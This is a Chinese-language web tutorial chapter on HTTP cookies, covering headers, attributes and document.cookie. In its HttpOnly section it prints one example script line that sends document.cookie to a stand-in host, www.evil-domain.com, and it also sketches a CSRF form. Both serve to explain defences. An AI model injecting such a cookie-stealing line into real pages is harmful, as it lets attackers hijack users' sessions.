10.4 Cookie

概述

Cookie 是服务器保存在浏览器的一小段文本信息，一般大小不能超过4KB。浏览器每次向服务器发出请求，就会自动附上这段信息。

HTTP 协议不带有状态，有些请求需要区分状态，就通过 Cookie 附带字符串，让服务器返回不一样的回应。举例来说，用户登录以后，服务器往往会在网站上留下一个 Cookie，记录用户编号（比如id=1234），以后每次浏览器向服务器请求数据，就会带上这个字符串，服务器从而知道是谁在请求，应该回应什么内容。

Cookie 的目的就是区分用户，以及放置状态信息，它的使用场景主要如下。

• 对话（session）管理：保存登录状态、购物车等需要记录的信息。
• 个性化信息：保存用户的偏好，比如网页的字体大小、背景色等等。
• 追踪用户：记录和分析用户行为。

Cookie 不是一种理想的客户端存储机制。它的容量很小（4KB），缺乏数据操作接口，而且会影响性能。客户端存储建议使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息，才应该放在 Cookie 里面。

每个 Cookie 都有以下几方面的元数据。

• Cookie 的名字
• Cookie 的值（真正的数据写在这里面）
• 到期时间（超过这个时间会失效）
• 所属域名（默认为当前域名）
• 生效的路径（默认为当前网址）

举例来说，用户访问网址www.example.com，服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为www.example.com，生效路径为根路径/。

如果 Cookie 的生效路径设为/forums，那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后，浏览器访问某个路径之前，就会找出对该域名和路径有效，并且还没有到期的 Cookie，一起发送给服务器。

用户可以设置浏览器不接受 Cookie，也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值，表示浏览器是否打开 Cookie 功能。

window.navigator.cookieEnabled // true

document.cookie属性返回当前网页的 Cookie。

document.cookie // "id=foo;key=bar"

不同浏览器对 Cookie 数量和大小的限制，是不一样的。一般来说，单个域名设置的 Cookie 不应超过30个，每个 Cookie 的大小不能超过 4KB。超过限制以后，Cookie 将被忽略，不会被设置。

Cookie 是按照域名区分的，foo.com只能读取自己放置的 Cookie，无法读取其他网站（比如bar.com）放置的 Cookie。一般情况下，一级域名也不能读取二级域名留下的 Cookie，比如mydomain.com不能读取subdomain.mydomain.com设置的 Cookie。但是有一个例外，设置 Cookie 的时候（不管是一级域名设置的，还是二级域名设置的），明确将domain属性设为一级域名，则这个域名下面的各级域名可以共享这个 Cookie。

Set-Cookie: name=value; domain=mydomain.com

上面示例中，设置 Cookie 时，domain属性设为mydomain.com，那么各级的子域名和一级域名都可以读取这个 Cookie。

注意，区分 Cookie 时不考虑协议和端口。也就是说，http://example.com设置的 Cookie，可以被https://example.com或http://example.com:8080读取。

Cookie 与 HTTP 协议

Cookie 由 HTTP 协议生成，也主要是供 HTTP 协议使用。

HTTP 回应：Cookie 的生成

服务器如果希望在浏览器保存 Cookie，就要在 HTTP 回应的头信息里面，放置一个Set-Cookie字段。

Set-Cookie:foo=bar

上面代码会在浏览器保存一个名为foo的 Cookie，它的值为bar。

HTTP 回应可以包含多个Set-Cookie字段，即在浏览器生成多个 Cookie。下面是一个例子。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值，Set-Cookie字段还可以附加 Cookie 的属性。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

上面的几个属性的含义，将在后文解释。

一个Set-Cookie字段里面，可以同时包括多个属性，没有次序的要求。

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

下面是一个例子。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服务器想改变一个早先设置的 Cookie，必须同时满足四个条件：Cookie 的key、domain、path和secure都匹配。举例来说，如果原始的 Cookie 是用如下的Set-Cookie设置的。

Set-Cookie: key1=value1; domain=example.com; path=/blog

改变上面这个 Cookie 的值，就必须使用同样的Set-Cookie。

Set-Cookie: key1=value2; domain=example.com; path=/blog

只要有一个属性不同，就会生成一个全新的 Cookie，而不是替换掉原来那个 Cookie。

Set-Cookie: key1=value2; domain=example.com; path=/

上面的命令设置了一个全新的同名 Cookie，但是path属性不一样。下一次访问example.com/blog的时候，浏览器将向服务器发送两个同名的 Cookie。

Cookie: key1=value1; key1=value2

上面代码的两个 Cookie 是同名的，匹配越精确的 Cookie 排在越前面。

HTTP 请求：Cookie 的发送

浏览器向服务器发送 HTTP 请求时，每个请求都会带上相应的 Cookie。也就是说，把服务器早前保存在浏览器的这段信息，再发回服务器。这时要使用 HTTP 头信息的Cookie字段。

Cookie: foo=bar

上面代码会向服务器发送名为foo的 Cookie，值为bar。

Cookie字段可以包含多个 Cookie，使用分号（;）分隔。

Cookie: name=value; name2=value2; name3=value3

下面是一个例子。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服务器收到浏览器发来的 Cookie 时，有两点是无法知道的。

• Cookie 的各种属性，比如何时过期。
• 哪个域名设置的 Cookie，到底是一级域名设的，还是某一个二级域名设的。

Cookie 的属性

Expires，Max-Age

Expires属性指定一个具体的到期时间，到了指定时间以后，浏览器就不再保留这个 Cookie。它的值是 UTC 格式，可以使用Date.prototype.toUTCString()进行格式转换。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不设置该属性，或者设为null，Cookie 只在当前会话（session）有效，浏览器窗口一旦关闭，当前 Session 结束，该 Cookie 就会被删除。另外，浏览器根据本地时间，决定 Cookie 是否过期，由于本地时间是不精确的，所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

Max-Age属性指定从现在开始 Cookie 存在的秒数，比如60 * 60 * 24 * 365（即一年）。过了这个时间以后，浏览器就不再保留这个 Cookie。

如果同时指定了Expires和Max-Age，那么Max-Age的值将优先生效。

如果Set-Cookie字段没有指定Expires或Max-Age属性，那么这个 Cookie 就是 Session Cookie，即它只在本次对话存在，一旦用户关闭浏览器，浏览器就不会再保留这个 Cookie。

Domain，Path

Domain属性指定 Cookie 属于哪个域名，以后浏览器向服务器发送 HTTP 请求时，通过这个属性判断是否要附带某个 Cookie。

服务器设定 Cookie 时，如果没有指定 Domain 属性，浏览器会默认将其设为浏览器的当前域名。如果当前域名是一个 IP 地址，则不得设置 Domain 属性。

如果指定 Domain 属性，需要遵守下面规则：Domain 属性只能是当前域名或者当前域名的上级域名，但设为上级域名时，不能设为顶级域名或公共域名。（顶级域名指的是 .com、.net 这样的域名，公共域名指的是开放给外部用户设置子域名的域名，比如 github.io。）如果不符合上面这条规则，浏览器会拒绝设置这个 Cookie。

举例来说，当前域名为x.y.z.com，那么 Domain 属性可以设为x.y.z.com，或者y.z.com，或者z.com，但不能设为foo.x.y.z.com，或者another.domain.com。

另一个例子是，当前域名为wangdoc.github.io，则 Domain 属性只能设为wangdoc.github.io，不能设为github.io，因为后者是一个公共域名。

浏览器发送 Cookie 时，Domain 属性必须与当前域名一致，或者是当前域名的上级域名（公共域名除外）。比如，Domain 属性是y.z.com，那么适用于y.z.com、x.y.z.com、foo.x.y.z.com等域名。再比如，Domain 属性是公共域名github.io，那么只适用于github.io这个域名本身，不适用于它的子域名wangdoc.github.io。

Path属性指定浏览器发出 HTTP 请求时，哪些路径要附带这个 Cookie。只要浏览器发现，Path属性是 HTTP 请求路径的开头一部分，就会在头信息里面带上这个 Cookie。比如，Path属性是/，那么请求/docs路径也会包含该 Cookie。当然，前提是 Domain 属性必须符合条件。

Secure，HttpOnly

Secure属性指定浏览器只有在加密协议 HTTPS 下，才能将这个 Cookie 发送到服务器。另一方面，如果当前协议是 HTTP，浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关，不需要指定值。如果通信是 HTTPS 协议，该开关自动打开。

HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到，主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到，只有浏览器发出 HTTP 请求时，才会带上该 Cookie。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上面是跨站点载入的一个恶意脚本的代码，能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性，上面代码就不会读到该 Cookie。

SameSite

Chrome 51 开始，浏览器的 Cookie 新增加了一个SameSite属性，用来防止 CSRF 攻击和用户追踪。

Cookie 往往用来存储用户的身份信息，恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求，这就是 CSRF 攻击。举例来说，用户登陆了银行网站your-bank.com，银行服务器发来了一个 Cookie。

Set-Cookie:id=a3fWa;

用户后来又访问了恶意网站malicious.com，上面有一个表单。

<form action="your-bank.com/transfer" method="POST">
  ...
</form>

用户一旦被诱骗发送这个表单，银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击，官网的表单一般都带有一个随机 token，官网服务器通过验证这个随机 token，确认是否为真实请求。

<form action="your-bank.com/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34">
  ...
</form>

这种第三方网站引导而附带发送的 Cookie，就称为第三方 Cookie。它除了用于 CSRF 攻击，还可以用于用户追踪。比如，Facebook 在第三方网站插入一张看不见的图片。

<img src="facebook.com" style="visibility:hidden;">

浏览器加载上面代码时，就会向 Facebook 发出带有 Cookie 的请求，从而 Facebook 就会知道你是谁，访问了什么网站。

Cookie 的SameSite属性用来限制第三方 Cookie，从而减少安全风险。它可以设置三个值。

• Strict
• Lax
• None

（1）Strict

Strict最为严格，完全禁止第三方 Cookie，跨站点时，任何情况下都不会发送 Cookie。换言之，只有当前网页的 URL 与请求目标一致，才会带上 Cookie。

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

这个规则过于严格，可能造成非常不好的用户体验。比如，当前网页有一个 GitHub 链接，用户点击跳转就不会带有 GitHub 的 Cookie，跳转过去总是未登陆状态。

（2）Lax

Lax规则稍稍放宽，大多数情况也是不发送第三方 Cookie，但是导航到目标网址的 Get 请求除外。

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

导航到目标网址的 GET 请求，只包括三种情况：链接，预加载请求，GET 表单。详见下表。

请求类型	示例	正常情况	Lax
链接	<a href="..."></a>	发送 Cookie	发送 Cookie
预加载	<link rel="prerender" href="..."/>	发送 Cookie	发送 Cookie
GET 表单	<form method="GET" action="...">	发送 Cookie	发送 Cookie
POST 表单	<form method="POST" action="...">	发送 Cookie	不发送
iframe	<iframe src="..."></iframe>	发送 Cookie	不发送
AJAX	$.get("...")	发送 Cookie	不发送
Image	<img src="...">	发送 Cookie	不发送

设置了Strict或Lax以后，基本就杜绝了 CSRF 攻击。当然，前提是用户浏览器支持 SameSite 属性。

（3）None

Chrome 计划将Lax变为默认设置。这时，网站可以选择显式关闭SameSite属性，将其设为None。不过，前提是必须同时设置Secure属性（Cookie 只能通过 HTTPS 协议发送），否则无效。

下面的设置无效。

Set-Cookie: widget_session=abc123; SameSite=None

下面的设置有效。

Set-Cookie: widget_session=abc123; SameSite=None; Secure

document.cookie

document.cookie属性用于读写当前网页的 Cookie。

读取的时候，它会返回当前网页的所有 Cookie，前提是该 Cookie 不能有HTTPOnly属性。

document.cookie // "foo=bar;baz=bar"

上面代码从document.cookie一次性读出两个 Cookie，它们之间使用分号分隔。必须手动还原，才能取出每一个 Cookie 的值。

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

document.cookie属性是可写的，可以通过它为当前网站添加 Cookie。

document.cookie = 'fontSize=14';

写入的时候，Cookie 的值必须写成key=value的形式。注意，等号两边不能有空格。另外，写入 Cookie 的时候，必须对分号、逗号和空格进行转义（它们都不允许作为 Cookie 的值），这可以用encodeURIComponent方法达到。

但是，document.cookie一次只能写入一个 Cookie，而且写入并不是覆盖，而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

document.cookie读写行为的差异（一次可以读出全部 Cookie，但是只能写入一个 Cookie），与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候，Cookie字段是使用一行将所有 Cookie 全部发送；服务器向浏览器设置 Cookie 的时候，Set-Cookie字段是一行设置一个 Cookie。

写入 Cookie 的时候，可以一起写入 Cookie 的属性。

document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";

上面代码中，写入 Cookie 的时候，同时设置了expires属性。属性值的等号两边，也是不能有空格的。

各个属性的写入注意点如下。

• path属性必须为绝对路径，默认为当前路径。
• domain属性值必须是当前发送 Cookie 的域名的一部分。比如，当前域名是example.com，就不能将其设为foo.com。该属性默认为当前的一级域名（不含二级域名）。如果显式设置该属性，则该域名的任意子域名也可以读取 Cookie。
• max-age属性的值为秒数。
• expires属性的值为 UTC 格式，可以使用Date.prototype.toUTCString()进行日期格式转换。

document.cookie写入 Cookie 的例子如下。

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=example.com';

注意，上面的domain属性，以前的写法是.example.com，表示子域名也可以读取该 Cookie，新的写法可以省略前面的点。

Cookie 的属性一旦设置完成，就没有办法读取这些属性的值。

删除一个现存 Cookie 的唯一方法，是设置它的expires属性为一个过去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

上面代码中，名为fontSize的 Cookie 的值为空，过期时间设为1970年1月1月零点，就等同于删除了这个 Cookie。

参考链接

• HTTP cookies, by MDN
• Using the Same-Site Cookie Attribute to Prevent CSRF Attacks
• SameSite cookies explained
• Tough Cookies, Scott Helme
• Cross-Site Request Forgery is dead!, Scott Helme